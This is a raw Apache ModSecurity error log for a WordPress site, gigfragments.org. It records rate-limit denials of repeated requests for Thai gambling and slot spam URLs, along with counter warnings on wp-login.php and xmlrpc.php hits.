[Sat Nov 22 01:15:16.535514 2025] [:error] [pid 49643:tid 49932] [client 66.249.64.9:39016] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoso/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.html"] [unique_id "aSCeJJwUojIRHhF_fj-KpwAAAMw"]
[Sat Nov 22 01:15:22.414912 2025] [:error] [pid 49642:tid 49893] [client 66.249.64.9:46454] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deposit/xo%20slot%20%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87%E0%B8%9A%E0%B8%B1%E0%B8%8D%E0%B8%8A%E0%B8%B5.html"] [unique_id "aSCeKoOXTPSuQfgUUtWMxAAAAII"]
[Sat Nov 22 01:15:28.667695 2025] [:error] [pid 9180:tid 9186] [client 66.249.64.9:38435] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/video/Daftar%20pg%20slot%20ngo.html"] [unique_id "aSCeMLrk9msixUFV2i-OaAAAAEQ"]
[Sat Nov 22 01:15:31.162723 2025] [:error] [pid 49642:tid 49915] [client 66.249.64.9:39958] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news/Slot%20slot66%20com%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.html"] [unique_id "aSCeM4OXTPSuQfgUUtWM2QAAAJg"]
[Sat Nov 22 01:18:02.418875 2025] [:error] [pid 49643:tid 49939] [client 66.249.64.9:56770] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/Slot%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%957.html"] [unique_id "aSCeypwUojIRHhF_fj-LpQAAANM"]
[Sat Nov 22 01:18:07.202591 2025] [:error] [pid 49641:tid 49833] [client 66.249.64.9:54068] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20PG%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B9%81%E0%B8%AD%E0%B8%94%E0%B8%A1%E0%B8%B4%E0%B8%99.html"] [unique_id "aSCez1nhuiDak938N_a1uwAAAAo"]
[Sat Nov 22 01:18:10.724128 2025] [:error] [pid 9180:tid 9196] [client 66.249.64.9:46604] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.html"] [unique_id "aSCe0rrk9msixUFV2i-P3AAAAE4"]
[Sat Nov 22 01:18:19.573679 2025] [:error] [pid 49643:tid 49941] [client 66.249.64.9:60673] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aSCe25wUojIRHhF_fj-LtwAAANU"]
[Sat Nov 22 01:18:21.936735 2025] [:error] [pid 50057:tid 50062] [client 66.249.64.9:54384] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/Login%20%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%84%E0%B8%B0%E0%B9%81%E0%B8%99%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%A5%E0%B9%82%E0%B8%8A%E0%B9%88%20%E0%B9%80%E0%B8%8B%E0%B9%80%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%9A%E0%B8%B5.html"] [unique_id "aSCe3Vb9j9fTBoI0sRVHeAAAAQM"]
[Sat Nov 22 01:18:26.780734 2025] [:error] [pid 50057:tid 50075] [client 66.249.64.9:44666] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/Login%20%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%94vip.html"] [unique_id "aSCe4lb9j9fTBoI0sRVHggAAARA"]
[Sat Nov 22 01:18:29.145085 2025] [:error] [pid 49643:tid 49938] [client 66.249.64.9:61156] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news/www.ufa-thai.com.html"] [unique_id "aSCe5ZwUojIRHhF_fj-LvwAAANI"]
[Sat Nov 22 01:18:35.681231 2025] [:error] [pid 50057:tid 50065] [client 66.249.64.9:49498] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/Daftar%20%E0%B8%9A%E0%B9%89%E0%B8%B2%E0%B8%99%E0%B9%82%E0%B8%9E%E0%B8%A2%E0%B8%9A%E0%B8%AD%E0%B8%99.html"] [unique_id "aSCe61b9j9fTBoI0sRVHnwAAAQY"]
[Sat Nov 22 01:18:37.542599 2025] [:error] [pid 49642:tid 49907] [client 66.249.64.9:65310] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/Slot%20%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.html"] [unique_id "aSCe7YOXTPSuQfgUUtWNqwAAAJA"]
[Sat Nov 22 01:18:43.732351 2025] [:error] [pid 49642:tid 49898] [client 66.249.64.9:51764] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nohu/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B9%8C356.html"] [unique_id "aSCe84OXTPSuQfgUUtWNsQAAAIc"]
[Sat Nov 22 01:18:46.451046 2025] [:error] [pid 49641:tid 49831] [client 66.249.64.9:50835] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios/Daftar%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%88%E0%B8%81%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B9%80%E0%B8%87%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%82.html"] [unique_id "aSCe9lnhuiDak938N_a15wAAAAg"]
[Sat Nov 22 01:18:51.502187 2025] [:error] [pid 9180:tid 9192] [client 66.249.64.9:51874] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/%E0%B8%A3%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.html"] [unique_id "aSCe-7rk9msixUFV2i-QEQAAAEo"]
[Sat Nov 22 01:18:55.921495 2025] [:error] [pid 49642:tid 49898] [client 66.249.64.9:40553] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/video/pg%20slot%20team%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.html"] [unique_id "aSCe_4OXTPSuQfgUUtWNvgAAAIc"]
[Sat Nov 22 01:20:28.485890 2025] [:error] [pid 9180:tid 9200] [client 66.249.64.9:47554] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/Login%20%E0%B9%82%E0%B8%9B%E0%B8%A3pg%2020%E0%B8%A3%E0%B8%B1%E0%B8%9A100.html"] [unique_id "aSCfXLrk9msixUFV2i-QxwAAAFI"]
[Sat Nov 22 01:20:38.270145 2025] [:error] [pid 50057:tid 50076] [client 66.249.64.9:65135] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dabong/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufa1688.html"] [unique_id "aSCfZlb9j9fTBoI0sRVIIwAAARE"]
[Sat Nov 22 01:20:38.502047 2025] [:error] [pid 50057:tid 50077] [client 66.249.64.9:43616] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/Login%20%E0%B8%AA%E0%B8%B0%E0%B8%A3%E0%B8%AD%E0%B8%94.html"] [unique_id "aSCfZlb9j9fTBoI0sRVIJAAAARI"]
[Sat Nov 22 01:20:43.088498 2025] [:error] [pid 49643:tid 49941] [client 66.249.64.9:56530] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/Login%20%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%84%E0%B8%B0%E0%B9%81%E0%B8%99%E0%B8%99%E0%B9%81%E0%B8%8A%E0%B8%A1%E0%B8%9B%E0%B9%8C%E0%B9%80%E0%B8%9B%E0%B8%B5%E0%B8%A2%E0%B8%99%E0%B8%A5%E0%B8%B5%E0%B8%81.html"] [unique_id "aSCfa5wUojIRHhF_fj-MhgAAANU"]
[Sat Nov 22 01:22:18.329477 2025] [:error] [pid 9180:tid 9206] [client 66.249.64.9:49365] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aSCfyrrk9msixUFV2i-RwAAAAFg"]
[Sat Nov 22 01:22:19.880218 2025] [:error] [pid 49643:tid 49931] [client 66.249.64.9:62193] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88pg%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.html"] [unique_id "aSCfy5wUojIRHhF_fj-NNgAAAMs"]
[Sat Nov 22 01:22:22.107736 2025] [:error] [pid 50057:tid 50060] [client 66.249.64.9:47728] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/video/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%2050.html"] [unique_id "aSCfzlb9j9fTBoI0sRVIyQAAAQE"]
[Sat Nov 22 01:22:25.743682 2025] [:error] [pid 49643:tid 49929] [client 66.249.64.9:65139] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/pg%20slot%20demo%20new.html"] [unique_id "aSCf0ZwUojIRHhF_fj-NRAAAAMk"]
[Sat Nov 22 01:22:28.298052 2025] [:error] [pid 9180:tid 9186] [client 66.249.64.9:48676] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/https%20auto%20pg%20slot%20168%20com.html"] [unique_id "aSCf1Lrk9msixUFV2i-R2QAAAEQ"]
[Sat Nov 22 01:22:33.542323 2025] [:error] [pid 49642:tid 49892] [client 66.249.64.9:63702] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dabong/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2pg%20%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B9%84%E0%B8%AB%E0%B8%99%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.html"] [unique_id "aSCf2YOXTPSuQfgUUtWO7QAAAIE"]
[Sat Nov 22 01:22:38.914346 2025] [:error] [pid 49643:tid 49931] [client 66.249.64.9:45896] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%99%E0%B8%AD%E0%B8%81%20pg%20slot.html"] [unique_id "aSCf3pwUojIRHhF_fj-NpwAAAMs"]
[Sat Nov 22 01:22:42.841860 2025] [:error] [pid 50057:tid 50066] [client 66.249.64.9:59899] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoso/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aSCf4lb9j9fTBoI0sRVJCQAAAQc"]
[Sat Nov 22 01:22:51.071946 2025] [:error] [pid 9180:tid 9205] [client 66.249.64.9:58595] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/Slot%20%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%94%E0%B9%89%E0%B9%80%E0%B8%87%E0%B8%B4%E0%B8%99%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87.html"] [unique_id "aSCf67rk9msixUFV2i-SMgAAAFc"]
[Sat Nov 22 01:22:56.506624 2025] [:error] [pid 9180:tid 9185] [client 66.249.64.9:34939] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/Daftar%20%E0%B8%96%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%97%E0%B8%AD%E0%B8%94%E0%B8%AA%E0%B8%94%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%94.html"] [unique_id "aSCf8Lrk9msixUFV2i-SQgAAAEM"]
[Sat Nov 22 01:23:05.604802 2025] [:error] [pid 9180:tid 9187] [client 173.239.254.75:51367] [client 173.239.254.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCf-brk9msixUFV2i-SaAAAAEU"]
[Sat Nov 22 01:23:05.604910 2025] [:error] [pid 49643:tid 49924] [client 173.239.254.79:35041] [client 173.239.254.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCf-ZwUojIRHhF_fj-N7AAAAMU"]
[Sat Nov 22 01:23:39.549345 2025] [:error] [pid 49641:tid 49830] [client 162.19.58.173:44052] [client 162.19.58.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.58.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSCgG1nhuiDak938N_a31AAAAAc"]
[Sat Nov 22 01:39:21.013874 2025] [:error] [pid 50057:tid 50071] [client 66.249.64.9:46836] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81.html"] [unique_id "aSCjyVb9j9fTBoI0sRVPeQAAAQw"]
[Sat Nov 22 01:39:26.663560 2025] [:error] [pid 50057:tid 50063] [client 66.249.64.9:54785] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/deposit/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg888.html"] [unique_id "aSCjzlb9j9fTBoI0sRVPggAAAQQ"]
[Sat Nov 22 01:39:31.973047 2025] [:error] [pid 49643:tid 49935] [client 66.249.64.9:38947] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%84%E0%B8%97%E0%B8%A2%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3%2010%20%E0%B8%9A%E0%B8%B2%E0%B8%97.html"] [unique_id "aSCj05wUojIRHhF_fj-TLQAAAM8"]
[Sat Nov 22 01:39:39.832927 2025] [:error] [pid 49641:tid 49827] [client 66.249.64.9:53955] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.html"] [unique_id "aSCj21nhuiDak938N_a-EgAAAAQ"]
[Sat Nov 22 01:39:46.859925 2025] [:error] [pid 9180:tid 9193] [client 66.249.64.9:42447] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/%E0%B8%97%E0%B8%94%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.html"] [unique_id "aSCj4rrk9msixUFV2i-b_AAAAEs"]
[Sat Nov 22 01:39:52.266158 2025] [:error] [pid 49642:tid 49902] [client 66.249.64.9:37243] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/pg888th.%20bet.html"] [unique_id "aSCj6IOXTPSuQfgUUtWVNwAAAIs"]
